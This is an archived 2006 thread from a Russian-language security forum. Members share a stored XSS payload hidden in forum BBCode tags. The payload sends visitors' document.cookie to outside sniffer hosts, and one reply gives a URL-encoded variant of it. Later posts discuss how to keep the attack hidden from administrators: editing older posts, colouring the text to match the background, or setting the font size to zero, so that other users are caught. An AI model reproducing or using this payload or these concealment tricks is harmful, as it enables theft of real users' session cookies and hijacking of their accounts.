ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|
02.01.2006, 23:05
|
|
Новичок
Регистрация: 06.09.2005
Сообщений: 9
Провел на форуме:
56103
Репутация:
0
|
|
Помог такой код:
Код HTML:
[EMAIL]wj@wj.com[URL=wj/style=background:url(javascript:document.images[1].src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie); ][/URL][/EMAIL]
Вопрос: А как закодировать в такие вот коды сниффер http://s.netsec.ru/sec/pic.gif
Имеется в виду символы адреса в код
Последний раз редактировалось maXaTTAck; 02.01.2006 в 23:28..
|
|
|
02.01.2006, 23:10
|
|
Постоянный
Регистрация: 08.08.2005
Сообщений: 782
Провел на форуме:
6573706
Репутация:
1419
|
|
Код:
%5BEMAIL%5Dwj@wj.com%5BURL%3Dwj/style%3Dbackground%3Aurl%28javascript%3Adocument.images%5B1%5D.src%3D%22http%3A//s.netsec.ru/sec/pic.gif%3F%22document.cookie%29%3B%20%5D%5B/URL%5D%5B/EMAIL%5D
На вот так вроде!
Последний раз редактировалось •••™NO FEAR™•••; 02.01.2006 в 23:30..
|
|
|
|
02.01.2006, 23:16
|
|
Banned
Регистрация: 05.10.2005
Сообщений: 965
Провел на форуме:
5888800
Репутация:
547
|
|
Можеш тут _http://webmastertools.narod.ru/OnlineTools/url_decode.html , поменяй сылку на снифер _http://antichat.ru/cgi-bin/s.jpg на http://s.netsec.ru/sec/pic.gif , и кодируй. |
|
|
|
13.01.2006, 19:06
|
|
Познающий
Регистрация: 18.12.2005
Сообщений: 84
Провел на форуме:
540410
Репутация:
5
|
|
А если код вставить в свое же собщение, но в то которое я писал допустим ранее - ну отредактировать свое старое сообщение, он будет работать? То есть после него уже могло куча народу запостится - а так отредактирую старое сообщение и админу глаза не мозолит и мне приятно
|
|
|
|
13.01.2006, 19:39
|
|
Заведующий всем
Регистрация: 17.04.2005
Сообщений: 1,062
Провел на форуме:
5957900
Репутация:
561
|
|
Сообщение от Zheca
А если код вставить в свое же собщение, но в то которое я писал допустим ранее - ну отредактировать свое старое сообщение, он будет работать? То есть после него уже могло куча народу запостится - а так отредактирую старое сообщение и админу глаза не мозолит и мне приятно
Ты получаешь куки только с той страницы на которой отображается твоё сообщение. Сомневаюсь что многие будут листать топик назад и читать, допустим вторую его страницу, а не последнии сообщения, допустим на десятой.
|
|
|
|
13.01.2006, 19:45
|
|
Познающий
Регистрация: 18.12.2005
Сообщений: 84
Провел на форуме:
540410
Репутация:
5
|
|
Это понятно - это будет работать? - или нужно обязательно создавать новый пост?
|
|
|
|
13.01.2006, 20:17
|
|
Заведующий всем
Регистрация: 17.04.2005
Сообщений: 1,062
Провел на форуме:
5957900
Репутация:
561
|
|
Будет, при условии что оно отобразится на страничке у жертвы.
|
|
|
|
13.01.2006, 22:05
|
|
Познающий
Регистрация: 18.12.2005
Сообщений: 84
Провел на форуме:
540410
Репутация:
5
|
|
Эт я к вопросам по поводу того, что текст кода виден из других браузеров - и админ удаляет посты. Ведб это выход - запостится, подождать пока накопятся сообщения, и пока не совершился переход на следующую страницу - изменить свой первый пост вставив туда код. Пару, тройку юзеров можно поймать вот таким образом
|
|
|
|
28.01.2006, 00:16
|
|
Banned
Регистрация: 26.01.2006
Сообщений: 19
Провел на форуме:
22474
Репутация:
0
|
|
Сообщение от slime
Если что-то остается, то можно замаскировать под цвет фона хы-хы...
но хз... у мя ничего не оставалось никогда...
по поводу глазастых админов...
не все XSS работают в Опере... опера не так воспринимает ` как IE ... короч маскируйте посты цветом....
оффтоп... а некоторые форумы типа ЭксББ не проверяют размер шрифта.... можно SIZE=0 поставить и вообще никто не разглядит чего там написано.
Нет это не правильно, прочти http://forum.antichat.ru/showthread.php?t=11807 Я дал пример как это можно реальзивать. ` тут СОВСЕМ не причем!
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
